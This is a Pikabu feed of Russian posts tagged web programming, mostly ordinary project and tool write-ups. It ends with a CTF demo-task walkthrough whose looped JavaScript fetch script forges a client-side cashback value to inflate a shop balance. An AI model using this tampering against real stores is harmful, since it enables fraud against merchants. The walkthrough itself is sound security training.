Горячее
Лучшее
Свежее
Подписки
Сообщества
Блоги
Эксперты
Войти
Забыли пароль?
или продолжите с
Создать аккаунт
Я хочу получать рассылки с лучшими постами за неделю
или
Восстановление пароля
Восстановление пароля
Получить код в Telegram
Войти с Яндекс ID Войти через VK ID
Создавая аккаунт, я соглашаюсь с правилами Пикабу и даю согласие на обработку персональных данных.
ПромокодыРаботаКурсыРекламаИгрыПополнение Steam
Пикабу Игры +1000 бесплатных онлайн игр
Управляйте маятником, чтобы построить самую высокую (и устойчивую) башню из падающих сверху постов. Следите за временем на каждый бросок по полоске справа: если она закончится, пост упадет мимо башни.

Башня

Аркады, Строительство, На ловкость

Играть

Топ прошлой недели

  • AlexKud AlexKud 38 постов
  • SergeyKorsun SergeyKorsun 12 постов
  • SupportHuaport SupportHuaport 5 постов
Посмотреть весь топ

Лучшие посты недели

Рассылка Пикабу: отправляем самые рейтинговые материалы за 7 дней 🔥

Нажимая кнопку «Подписаться на рассылку», я соглашаюсь с Правилами Пикабу и даю согласие на обработку персональных данных.

Спасибо, что подписались!
Пожалуйста, проверьте почту 😊

Помощь Кодекс Пикабу Команда Пикабу Моб. приложение
Правила соцсети О рекомендациях О компании
Промокоды Биг Гик Промокоды Lamoda Промокоды МВидео Промокоды Яндекс Директ Промокоды Отелло Промокоды Aroma Butik Промокоды Яндекс Путешествия Постила Футбол сегодня

Web-программирование

С этим тегом используют

Программирование IT Web Программист Javascript Веб-разработка HTML Все
786 постов сначала свежее
10
staticspb
staticspb
1 месяц назад
ИТ-проекты пикабушников
Серия Мои Проекты

Polychat.live – бесплатный чат с AI-переводчиком⁠⁠

Привет, пикабу!

Решил поделиться несколькими из своих последних проектов.
Так что будет небольшая "серия" :)

Первый из проектов: небольшой чат для общения на разных языках: каждый выбирает свой родной язык, и общается на нем. Все переводы происходят на фоне, так что вы видите сообщения уже на своем родном языке.
Изначально делал под себя, так как Google Translate слабо помогает. Особенно, когда приходится передавать телефон, например, какому-нибудь условному таксисту или официанту, ну или языков больше чем два.
Просто открываете сайт, заходите в любую комнату и нажимаете "Поделиться". Таксисто-официант сканирует ваш код и вот вы уже общаетесь как люди :)

Без регистрации, без рекламы, без смс :)
https://polychat.live

1/2
Показать полностью 2
[моё] Чат Искусственный интеллект Web-программирование Полезные сайты
5
2
Romabooy
Romabooy
1 месяц назад

Плавный ступенчатый переход с задержкой на CSS⁠⁠

Совет!
Используй тригонометрические функции в CSS, чтобы создать плавный ступенчатый переход с задержкой

.character {
transition-delay:
calc(sin((var(--index) / 12) * 45deg) * 0.475s);
}

Показать полностью
CSS Web-программирование Видео Видео ВК Короткие видео
0
4
barmentalisk
barmentalisk
1 месяц назад

HTML5 Black Hole (Черная Дыра)⁠⁠

HTML5 Black Hole (Черная Дыра) Черная дыра, Javascript, Анимация, Html 5, Web-программирование, 2D, Звезды, Музыка, Fl Studio, Видео, Вертикальное видео, Длиннопост

JS canvas HTML5 Black Hole (Черная Дыра)

— Звезды решают судьбы людей?

— Нет, они сами горят и потухают в безысходности горизонта событий.

Чёрная дыра́ — область пространства-времени, гравитационное притяжение которой настолько велико, что покинуть её не могут даже объекты, движущиеся со скоростью света, в том числе кванты самого света. Граница этой области называется горизонтом событий.

Я люблю вникать в звёздное небо безоблачными ночами вдалеке от городской засветки. Глубокие и противоречивые чувства вызывают они у землян.

До них не докричаться, не дозвониться, не допечататься (что в меру своих возможностей я попытался отразить в аудио через FL). От нас они абсолютно независимы, но вот мы без них никак. Вообще без них мы не способны даже существовать. Се Ля Ви!

А сегодня я попытался минималистично смоделировать на HTML5-канвасе как эти гиганты притягиваются к центру масс, чтобы впоследствии начать новую жизнь "большим взрывом"...

Но это потом.., а сейчас для нас они бесконечно стабильны и непостигаемо вечны !


Разработка скрипта и музыка:

BarMentaLisk © 2025

ссылка на исходный код (в браузере жмите: ПКМ -> Просмотреть код)

поддержка в ТГ (на случай ЛонгТаймСапорта)

Показать полностью 1 1
[моё] Черная дыра Javascript Анимация Html 5 Web-программирование 2D Звезды Музыка Fl Studio Видео Вертикальное видео Длиннопост
3
2
mars.frontier
mars.frontier
1 месяц назад

Как мы делали мини-игру про ровер на Марсе внутри Telegram WebApp⁠⁠

«Хочется сделать простую карту, чтобы листать её в Telegram». С этого всё и началось. А закончилось — изометрическим движком, авторизацией по WebApp, системой энергии, покупкой участков и боевым ровером с шестью колёсами.

1/3

🚀 С чего всё началось?

В начале всё было очень просто.
Мы сделали простенького бота, о котором я уже как-то тут писал, и бэк рендерил картинки с кусочком карты, где ты находишься.

В целом, даже эта идея была вполне рабочей и первые 300 пользователей с разных источников легко собрались. Мы даже провели на 9 мая конкурс "найди звезду победы" и выплатили победителю небольшой приз :)

Но само собой, что бот - не предел мечтаний, нужно было пилить полноценный мини-апп.

На боте лишь проверили гипотезу, отладили механики, типа уменьшения энергии, подзарядки аккумулятора в течении времени, пока не заходишь в игру.

Первый шаг в сторону мини-аппки - сделали вебстраничку, где можно было листать мышкой или пальцем — просто ради визуализации. Прямоугольная сетка, тайлы, немного стилей. Telegram WebApp проглатывал HTML5 на ура. Тогда не было никакой логики, просто подгрузка текстур и картинка под пальцем.

Вот как это выглядело:

  • Пользователь заходил и видел карту Марса.

  • Никакого взаимодействия — только “глянуть”.

🎮 А потом захотелось интерактивности

Следующим шагом стало добавление изометрии — чтобы выглядело как псевдо-3D. Самое интересное, что даже не потребовалось изменять текстуры. Серьезно :) Они по-прежнему те же самые, квадратные, 64 х 64. И не используется никакой 3д - движок.

вот краткое и понятное объяснение, как строится изометрическая карта из квадратных тайлов:


🧠 Основная идея:

Каждый квадратный тайл поворачивается на 45° и масштабируется по вертикали, чтобы получился ромб (изометрическая проекция). Вместо привычной сетки (x, y) мы рассчитываем экранные координаты (left, top) по формуле:


📐 Формулы для отображения:

При размере одного тайла T:

  • W = T * sqrt(2) — изометрическая ширина (диагональ квадрата).

  • H = W / 2 — изометрическая высота (высота ромба).

  • WX2 = W / 2, HX2 = H / 2 — половинки для смещения от центра.

Переход от логических координат (dx, dy) к пиксельным:

isoX = (dx - dy) * WX2 + centerX; isoY = (dx + dy) * HX2 + centerY;


🧩 Что это даёт:

  • (dx - dy) — смещает тайл по горизонтали.

  • (dx + dy) — смещает тайл по вертикали.

  • centerX, centerY — центр экрана, чтобы карта строилась относительно игрока.


🎯 В результате:

  • Из обычной квадратной сетки (x, y) формируется ромбовидная карта, где видны и горизонтальные, и вертикальные соседние тайлы.

  • Центральная клетка (текущий игрок) — всегда по центру, а остальные располагаются вокруг.

    Ну а дальше уже дело техники - придумали алгоритм перемещения в 8 направлениях: вверх, вниз, влево, вправо, плюс диагонали.

    Подключили ранее обкатанный в чатботе расход энергии за каждый шаг, и разный расход за диагональные движения, в сравнении с линейным. Плюс небольшой рандом :)

    Задали запреты на воду, скалы и занятую клетку, чтобы не было “читов”.

🔐 Само собой - авторизация

Чтобы пользователь не “прыгал” по чужим роверам и участкам, мы внедрили Telegram WebApp InitData (это такая строка с хешем, которую фронт передает нам в бэк, а мы - уже на сервере телеграм с токеном бота валидируем подпись. Если сошлась - то пользователь зашел к нам через телегу. Если нет - скорее всего он просто открыл веб-страницу как сайт, или что-то пытается поломать, подделать :)

Если кратко:

  • Telegram сам отдаёт токен с подписью.

  • Мы проверяем подпись на бэке по HMAC SHA256.

  • Получаем ID пользователя, сохраняем его в сессии.

Теперь всё честно: ровер – только твой, кристаллы – только твои.

🪐 Стало красивее: добавили кристаллы и рамки

Потом появились:

  • Кристаллы на клетках — можно собирать.

  • Подсветка клеток: белая рамка — твоя, красная — чужая.

  • Имена владельцев, чтобы было видно, кто что захватил.

    В планах: Покупка участков за кристаллы. Это было в текстовом боте. И ползая по карте, даже видны купленные тобой (белым) и оппонентами (красным) участки.

⚡️ Оптимизация и загрузка ассетов

Мы поняли, что каждая картинка может тормозить игру на слабом устройстве, и:

  • Добавили прелоадер, который подгружает PNG-шки перед игрой.

  • Сделали показ спиннера на любом действии (движение, загрузка).

  • Кэшируем тайлы и обновляем только при движении.

🤖 Как выглядит сейчас

Игрок:

  • Заходит в Telegram Mini App.

  • Авторизуется за доли секунды.

  • Видит изометрическую карту с ровером, кристаллами, участками, рекламными баннерами.

  • Может двигаться по клеткам, собирать кристаллы (в будущем - бурить и находить ресурсы, торговать ими, покупать землю).

А мы — всё это рисуем прямо в DOM.
Никаких Canvas, WebGL, или тяжелых движков. Только HTML, CSS и немного магии на JS.


💬 Если интересно — покажу, как это выглядит вживую.
Тестить можно тут. А если зайдёт — добавим NFT, фермы и квесты на выживание 😄

Показать полностью 3
[моё] Gamedev Разработка Программирование Telegram Javascript Python Unity Frontend Backend Web Web-программирование Ton HTML CSS Верстка Длиннопост
9
Revalent
Revalent
1 месяц назад

Figma в 2025: как один инструмент заменил Tilda, Illustrator и код⁠⁠

Всё ещё думаешь, что Figma — это "инструмент для дизайнеров"? Хочется сообщить: 2025 год уже давно на дворе, и Figma — это не просто софт, а полноценная рабочая платформа, в которую встроены десятки фич, от которых могут зависеть сроки запуска продукта, количество клиентов у фрилансера и даже оценка за курсовую у студента.

Если коротко: более 60 миллионов человек используют Figma каждый день, и это уже не просто дизайнерский тул, а что-то гораздо большее. Давай разбираться, почему этот зверь заслуживает твоего внимания — и что ты теряешь, обходя его стороной.

Figma в 2025: как один инструмент заменил Tilda, Illustrator и код Фриланс, Дизайн, Web-программирование, Длиннопост

Как Figma выросла из дизайнера интерфейсов в швейцарский нож для всех

Когда Figma только появилась (примерно лет десять назад), она уже была чем-то из будущего — полностью облачный, коллаборативный редактор, который не нужно было скачивать, с возможностью редактировать один файл одновременно всей командой. Sketch и Adobe XD были вынуждены нервно курить в углу.

А теперь забудь слово "интерфейс": в 2025 году Figma — это полноценный кросс-инструментальный хаб. Тут тебе и прототипы, и презентации, и сайты, и даже полноценный AI-код. Всё работает в одном окне. Всё связано. Всё онлайн.

Figma Sites: зачем тебе Tilda, если есть Figma?

Вот тебе реальный game changer: Figma Sites — новая функция, которая позволяет превратить любой дизайн в полноценный, живой сайт. Без кода, без экспорта, без мучений. Просто щёлкаешь — и всё работает.

Что умеет:

  • 50+ готовых шаблонов и редактируемые блоки;

  • автоматическая адаптивность (привет, мобильные);

  • эффекты, анимации, параллаксы — прямо в макете;

  • публикация в один клик из редактора;

  • и скоро: встроенный CMS, чтобы контент можно было обновлять без помощи разработчиков.

Для студий и фрилансеров это значит одно: сайт можно сделать и отдать клиенту, не покидая Figma. Предпринимателям — быстро запустить лендинг идеи. И всё это — с гибкостью дизайна и удобством конструктора.

Figma в 2025: как один инструмент заменил Tilda, Illustrator и код Фриланс, Дизайн, Web-программирование, Длиннопост

Бесплатные библиотеки в вашей figma

Figma Draw: Illustrator, потеснись

Если раньше ты открывал Illustrator, чтобы нарисовать логотип, иконку или картинку, то теперь достаточно Figma.

Figma Draw — это:

  • ручные кисти, текст по кривой, комбинирование форм;

  • шумы, градиенты, узоры, variable width stroke (на подходе);

  • мощная трансформация и повтор объектов;

  • и самое важное: возможность рисовать в команде, одновременно.

Теперь твоя графика живёт там же, где интерфейс, где презентация, где сайт. Никаких SVG-экспортов, никакой потери качества. Просто открыл — и рисуешь.

Figma в 2025: как один инструмент заменил Tilda, Illustrator и код Фриланс, Дизайн, Web-программирование, Длиннопост

Figma Make: AI-код из макета. Или наоборот

Звучит как фантастика, но теперь ты можешь писать: "кнопка отправляет форму" — и она действительно будет это делать.

Figma Make — это AI-помощник, который превращает твой дизайн в живой прототип с HTML/CSS/JS.

Просто нарисовал интерфейс, задал поведение — и готово. Причём ты можешь:

  • начать с пустого холста или уже нарисованного фрейма;

  • редактировать результат;

  • опубликовать прямо в веб.

Плюс — в редактор встроен целый арсенал AI-фишек:

  • генерация реалистичного текста и изображений по описанию;

  • удаление фона, перемещение объектов;

  • авто-перевод и переписывание надписей на макетах.

Если ты студент, фрилансер или стартапер, Figma Make — твой билет в мир MVP за один вечер.

Один инструмент = весь рабочий процесс

Раньше ты рисовал в Figma, делал mindmap в Miro, кодил в другом редакторе, собирал лендинг в Tilda. В 2025-м всё это происходит в одной вкладке.

Вот как выглядит идеальный день в Figma:

  1. Генерируешь идеи на FigJam.

  2. Собираешь дизайн в Figma Design.

  3. Прототипируешь и оживляешь через Figma Make.

  4. Публикуешь через Figma Sites.

  5. Рассылки с помощью Figma Buzz.

Все — в одной экосистеме. Без экспорта. Без файликов с названием final_final_v3(1). Всё живёт в облаке. Комментарии, редактирование и презентации — в реальном времени.

Плюс:

  • Connected Projects для работы с клиентами без добавления в команду;

  • Dev Mode с автосопоставлением layout'а и CSS-сеток;

  • Figma Buzz для генерации сотен визуалов без ручной возни.

Кто и зачем должен пользоваться Figma в 2025 году

Для дизайнеров:

Все этапы — в одной программе. Плюс — огромная библиотека плагинов, шаблонов и знаний. Это не просто удобно — это стандарт индустрии.

Для фрилансеров:

Один инструмент — один счёт. Без подписок на Tilda, Adobe, Miro. От логотипа до лендинга — всё в Figma. А клиент может подключиться к проекту без гемора.

Для предпринимателей:

Снижаешь стоимость запуска, делаешь лендинги сам, генеришь баннеры и работаешь с командой в одном пространстве. Даже без навыков в дизайне.

Для студентов:

Бесплатно. Просто. Модно. И — главное — полезно: знание Figma даст тебе фору на рынке.

Вывод

Если ты до сих пор думаешь, что Figma — это "просто про кнопочки", то ты рискуешь остаться позади. Это уже не инструмент, а целая платформа для креативного производства — от первых идей до готового продукта.

Так что в 2025 году вопрос уже не в том, нужна ли тебе Figma, а в том, насколько ты готов к тому, что она умеет сегодня.


P.S. Если понравился формат — загляни на forklore.ru — там ещё больше текстов про технологии, гастрономию, город и всё, что делает повседневность чуть умнее и вкуснее.

Показать полностью 3
Фриланс Дизайн Web-программирование Длиннопост
0
2
user7493795
user7493795
2 месяца назад
ИТ-проекты пикабушников

No-code создание веб-приложения с Bolt.DIY⁠⁠

No-code создание веб-приложения с Bolt.DIY Программирование, Гайд, Web-программирование, Создание сайта, Искусственный интеллект, Длиннопост

Почему Bolt.DIY? Преимущества для быстрой разработки

Bolt.DIY — это фреймворк, который позволяет создавать веб-приложения с минимальным кодом, с использованием AI, подходящий даже для новичков.

  • Не требует глубоких знаний программирования.

  • Позволяет разрабатывать прототипы за часы, а не недели.

  • Поддерживает интеграцию с внешними API и базами данных.

  • Работает локально, что удобно для тестирования перед деплоем.

Сейчас даже малые бизнесы активно используют подобные инструменты для автоматизации внутренних процессов, и Bolt.DIY отлично подходит для этих задач.

Подготовка среды разработки

Перед началом работы убедитесь, что у вас установлены:

  1. Node.js (версия 14 или выше) — для работы JavaScript вне браузера.

  2. Git — для управления версиями (опционально, но рекомендуется).

  3. Текстовый редактор (VS Code, Sublime Text или аналоги).

Установка Bolt.DIY

  1. Откройте терминал (Командная строка на Windows).

  2. Выполните следующие команды, глобально через npm (менеджер пакетов Node.js):

npm install -g pnpm
pnpm --version
netstat -ano | findstr :5173
git clone -b stable https://github.com/stackblitz-labs/bolt.diy.git
cd bolt.diy
copy .env.example .env.local
pnpm install
pnpm run dev

3. Проверьте установку:
http://localhost:5173
Если приложение запустилось в браузере — всё готово к работе.

Создание первого веб-приложения

  1. Установка API:
    Перейдите на openrouter для получения API ключей
    Выберите нужную AI модель (Gemini 2, Qwen 2.5 и т.д. Можно выбрать free, для бесплатной проверки работы Bolt.DIY)

No-code создание веб-приложения с Bolt.DIY Программирование, Гайд, Web-программирование, Создание сайта, Искусственный интеллект, Длиннопост

Базовая структура проекта

Bolt.DIY создаёт следующую структуру файлов:

my-first-app/
├── public/ # Статические файлы (HTML, CSS, изображения)
├── src/ # Основной код приложения
│ ├── app.bolt # Главный файл логики
├── bolt.config.js # Конфигурация проекта

Добавление функционала

  1. Откройте Bolt.DIY и в окне чата введите свой запрос

Например: WEB приложения To-do List список задач, цветовая гамма: черный, красный и белый.

2. Bolt.diy обработает ваш запрос и создаст приложение

Интеграция с базами данных (опционально)

Bolt.DIY поддерживает подключение к SQLite, MongoDB или Firebase. Пример для SQLite:

  1. Установите пакет:


    npm install bolt-sqlite

  2. Обновите bolt.config.js:

module.exports = {
plugins: [
require('bolt-sqlite')({ path: './data.db' })
]
};

  1. Используйте в коде:

const db = bolt.database();

db.run('CREATE TABLE IF NOT EXISTS tasks (id INTEGER PRIMARY KEY, name TEXT)');

Деплой приложения

Когда приложение готово, его можно:

  • Экспортировать в статические файлы (bolt build), затем залить на хостинг (Netlify, Beget).

  • Запустить на своем сервере через Node.js.

Bolt.DIY — отличный инструмент для быстрого прототипирования и создания веб-приложений без сложной настройки. Следуя этому руководству, вы сможете развернуть проект локально и масштабировать его под свои нужды.

Показать полностью 1
[моё] Программирование Гайд Web-программирование Создание сайта Искусственный интеллект Длиннопост
0
user7493795
user7493795
2 месяца назад
Искусственный интеллект

Создание стартапа : "Домашний Юрист" Ч. 1⁠⁠

Создание стартапа : "Домашний Юрист" Ч. 1 Чат-бот, Программирование, DeepSeek, Искусственный интеллект, Web-программирование, Сайт, Длиннопост

Создание стартапа сегодня стало проще благодаря инструментам на базе искусственного интеллекта (AI). В этой статье я расскажу, как с помощью WordPress, n8n, OpenRouter и AI агента мы создали сайт юридической компании "Домашний Юрист".

Шаг 1: Создание сайта на WordPress

Первым шагом стал выбор платформы для сайта. WordPress – это мощный и гибкий инструмент, который позволяет быстро создать профессиональный сайт без глубоких знаний в программировании.

1. Установка и настройка WordPress:

Мы использовали хостинг с предустановленным WordPress (например, Beget или Timeweb). После установки выбрали тему, которая подходит для юридических услуг (например, Astra или Neve).

2. Создание страниц:

- Главная страница: кратко рассказали о компании, ее услугах и преимуществах.

- Страница "О нас": описали миссию компании и её ценности.

- Страница "кейс": перечислили и описали основные услуги.

Оптимизация SEO: Использовали плагин Yoast SEO для настройки мета-тегов, ключевых слов и улучшения индексации в поисковых системах.

-Автопостинг: Я сделал шаблон для n8n, автоматизация создания контента WordPress (Seo, генерация статей, Meta, Изображения и д.р.) пишите, это бесплатно!

Шаг 2: Интеграция чат-бота через n8n + OpenRouter

Чтобы автоматизировать взаимодействие с клиентами, мы создали чат-бота. Он отвечает на вопросы, записывает на консультацию и предоставляет базовую юридическую информацию.

1. Настройка n8n:

n8n – это платформа для автоматизации процессов с открытым исходным кодом. Мы использовали его для интеграции с OpenRouter и телеграмом (или WhatsApp).

2. Подключение OpenRouter:

OpenRouter предоставляет доступ к различным AI моделям (GPT, Claude и т.д.). Мы подключили его к n8n, чтобы чат-бот мог генерировать ответы на вопросы клиентов.

3. Подключение базы данных

В данном проекте мы реализовали две функии использования базы данных, первая это простая таблица Google sheets с описанием, ценами и кейсами предоставляемых услуг, вторая это векторная база данных Postgres Vector на своем сервере.

4. Пример работы бота:

Когда клиент пишет: "Как оформить наследство?", бот отправляет запрос в OpenRouter и выдает готовый ответ:

"Для оформления наследства необходимо подать заявление нотариусу в течение 6 месяцев после смерти наследодателя. Потребуется следующий пакет документов:..."

Далее он отправляет запрос на встречу\консультацию и создает задачу в Google Task, Bitrix24, AmoCRM и д.р. удобным способом

Шаг 3. Создание контента с помощью AI агента

Чтобы ускорить процесс создания текстов для сайта, мы использовали AI агента. Пишите кому надо.

1. Генерация текстов:

Основные преимущества:

✅ Быстрое создание контента с помощью AI.

✅ Автоматизация взаимодействия с клиентами через чат-бот.

✅ Гибкость и масштабируемость решения.

Совет для стартапов

Используйте AI и современные технологии для оптимизации процессов. Это позволит сосредоточиться на ключевых задачах и быстрее выйти на рынок.

"Домашний Юрист" – пример того, как AI может стать вашим помощником в создании успешного бизнеса.

Надеюсь, статья была полезной. Если у вас есть вопросы или вы хотите создать подобный проект, пишите в комментариях бесплатно дам все материалы!

Показать полностью 1
[моё] Чат-бот Программирование DeepSeek Искусственный интеллект Web-программирование Сайт Длиннопост
6

Продвиньте ваш пост

Перейти
Партнёрский материал Реклама
specials
specials

Нужно больше внимания к постам? Есть способ!⁠⁠

Иногда даже самый интересный материал теряется в потоке новых записей. Если ваш пост остался незамеченным, измените ситуацию. Для этого на Пикабу есть продвижение.

Все просто: оставьте заявку в форме, добавьте ссылку на пост и выберите подходящий бюджет. Все. Ваш пост покажут во всех лентах на специальных позициях. Ну а вы получите дополнительную аудиторию и отклик пользователей.

Продвинуть пост

Продвижение Посты на Пикабу Текст
15
SapSanich
2 месяца назад

CTF⁠⁠

Дисциплина Capture The Flag (CTF) — это командные соревнования по поиску и реализации уязвимостей в специально подготовленных для этого площадках.

Целью соревнований является нахождение спрятанных флагов, созданных организаторами, которые могут быть найдены в ходе эксплуатации тех или иных уязвимостей системы. За получение каждого флага начисляются баллы.

Простыми словами: CTF — соревнования для специалистов по безопасности (условно назовем их хакерами).

Делятся на направления: веб, приложения, инфраструктура, криптография и т.д.

В ближайшие выходные (с 19 по 20 апреля 2025 г.) будут проходить соревнования «T-CTF 2025» от Т-Банка.

Это не реклама, за это к моему глубокому сожалению мне никто не платит :) Просто интересный конкурс для разминки мозгов.

Формат соревнований — офлайн и онлайн.

Ссылка на соревнование: https://t-ctf.ru/

Все желающие могут принять участие и прикоснуться к миру информационной безопасности.

В рамках разминки создатели T-CTF выкладывают демо-задания перед началом соревнований.

Также для демо-заданий дают информацию по способу их решения, поэтому каждый может, если возникли трудности, прибегнуть к помощи и узнать, как решается то или иное задание.


Регистрируемся на соревновании и получаем список заданий.

Например, попробуем «расковырять» задание «Капибонус» самостоятельно.

Описание задания:

Простое демо-задание — пример того, с чем можно столкнуться в Лиге разработки на простой сложности.

Добро пожаловать в Капиплейс — новый маркетплейс города.

Здесь за покупки дают возможность крутануть колесо Фортуны и выиграть разные призы. Да только никто ничего не может выиграть, хоть и тратят много денег. Попахивает мошенничеством!

Выиграйте 313 337 ₡ и выкупите алгоритм колеса у супермаркета, чтобы впредь удача улыбалась каждому покупателю.

Перейдем по ссылке из личного кабинета — перед нами открылся обычный интернет-магазин. Регистрируемся.

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Главная страница нашего интернет магазина

Имеем следующие вводные:

Есть интернет-магазин, который дает приветственный бонус в виде 100 единиц для оплаты товаров.

При оплате есть возможность поучаствовать в розыгрыше и покрутить рулетку, которая предоставляет:

  • возврат 200% от стоимости товара;

  • вычитается с вашего счета минус 10%/20%/50% от стоимости товара;

  • 0 — не выиграли, не проиграли.

Также мы видим товар с названием: «Алгоритм Колеса Фортуны». Как можно догадаться, нам необходимо выкупить данный товар для решения задания.

Из очевидных моментов — это возможность рассмотреть сам механизм начисления бонусов и понять, как можно увеличить наш стартовый баланс из 100 до необходимой суммы в 313 337 единиц благодаря данному розыгрышу.

Откроем консоль разработчика (F12), вкладку Network в режиме «Preserve log», чтобы история запросов сохранялась после обновления страницы.

Добавим какой-нибудь недорогой товар, чтобы средств хватило на большее количество тестов, и попробуем его приобрести.

Запрос для добавления товара:

POST https://{HOSTNAME}.spbctf.org/cart/add/119

body пустое

В качестве указателя товара используется идентификатор в GET — 119. Товары хранятся в сессии.

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

HTTP запрос на добавление товара

Попробуем приобрести товар: перейдем в корзину и нажмем на кнопку «Оплатить».

Для оформления заказа запрос уходит на метод:

POST https://{HOSTNAME}.spbctf.org/checkout

body пустое

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

HTTP запрос на оплату

После завершения с нас списываются средства, и нас переводит на страницу с номером заказа.

Далее нам предлагается поучаствовать в самой рулетке — нажимаем на кнопку «Покрутить!».

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Сам розыгрыш кэшбэка

Мне повезло с первого раза: выпал кэшбэк на 200 процентов :)

Запрос рулетки:

POST https://{HOSTNAME}.spbctf.org/order/24140/set-cashback

BODY: {"cashback": 200}

И вот здесь стоит обратить внимание: в теле метода set-cashback мы видим указание на применяемый кэшбэк в 200.

Фактически сам кэшбэк рулетки определяется на стороне клиента (фронтенд), а затем уже сообщается серверу о том, какой результат выпал!

Так как мы можем влиять на запросы, которые от нас уходят, мы фактически можем подменять результаты всех розыгрышей на 200% кэшбэк.

Отлично, это уже способ нарастить баланс!

Попробуем расковырять его дальше и проверить, можем ли мы получить кэшбэк в размере, например, 20000%.

Повторяем операцию: добавляем товар и оформляем заказ.

При указании числа большего, чем 200, выдает статус 303, и кэшбэк не применяется.

Самый простой способ не удался — не получилось вписать большой процент, но рабочий механизм наращивания кэшбэка у нас уже есть.

Будем его использовать!

Наша задача — создать такое количество запросов, которое позволит нам получить баланс для оплаты товара на сумму 313 337.

Поехали: попробуем воспроизвести цикл добавления товара, оформления заказа и кэшбэка автоматически, чтобы не воспроизводить это дело руками.

Делать это будем там же, в консоли разработчика.

Запросы у нас уже есть в консоли — копируем их правой кнопкой мыши: «Copy as fetch».

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Копируем исходные запросы

Для реализации подобной логики потребуются небольшие знания программирования на JavaScript.

Сам запрос у нас уже есть — нужно составить цепочку запросов, которые идут друг за другом, и еще вытащить номер заказа для передачи следующему методу.

Давайте попробуем составить эту цепочку и выполнить в консоли.

Единственный момент: на самом сервисе магазина происходит редирект с HTTPS на HTTP, поэтому была добавлена опция в fetch: referrerPolicy: "unsafe-url", чтобы проигнорировать предупреждения браузера.

Вставляем все это дело в консоль разработчика и отправляем:

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(function(response) {

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

})

})

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Вставляем все это дело в консоль разработчика

Отлично, баланс изменяется автоматически после каждого выполнения кода в консоли.

Обновим товар на более дорогой, чтобы получать больший кэшбэк.

В строке добавления в корзину меняем 119 на ID нужного товара.

fetch("https://{HOSTNAME}.spbctf.org/cart/add/119"

Посмотреть идентификатор товара можно через вкладку Network при добавлении товара либо через Elements в консоли разработчика (ПКМ на кнопке «Купить» → «Просмотреть код»).

CTF Ctf, Telegram (ссылка), Информационная безопасность, Программирование, Web-программирование, Длиннопост

Получение нужного идентификатора товара

Теперь автоматизируем отправку запросов в цикле, чтобы не вызывать их вручную.

Добавим цикл и сделаем так, чтобы запросы выполнялись последовательно. Для этого используем async/await.

Итоговый код:

for (let i = 0; i < 9; i++) {

await fetch("https://{HOSTNAME}.spbctf.org/cart/add/124", {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/?sort_by=price&order=asc&page=8",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function() {

let url = "https://{HOSTNAME}.spbctf.org/checkout";

await fetch(url, {

"headers": {

"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/x-www-form-urlencoded"

},

"referrer": "https://{HOSTNAME}.spbctf.org/cart",

"referrerPolicy": "strict-origin-when-cross-origin",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

}).then(async function(response) {

console.log(response);

//здесь мы разбираем текущий url и получаем идентификатор заказа

var matches = response.url.match(/order\/(\d+)$/);

//далее этот идентификатор заказа используем для получения кэшбэка

await fetch("https://{HOSTNAME}.spbctf.org/order/" + matches[1] + "/set-cashback", {

"headers": {

"accept": "*/*",

"accept-language": "ru-RU,ru;q=0.9",

"cache-control": "no-cache",

"content-type": "application/json"

},

"referrer": "https://{HOSTNAME}.spbctf.org/order/23714",

"referrerPolicy": "strict-origin-when-cross-origin",

"body": "{\"cashback\":200}",

"method": "POST",

"mode": "cors",

"credentials": "include", referrerPolicy: "unsafe-url"

});

});

});

}

На выходе получаем конструкцию, которая позволяет наращивать баланс благодаря уязвимости в механизме кэшбэка.

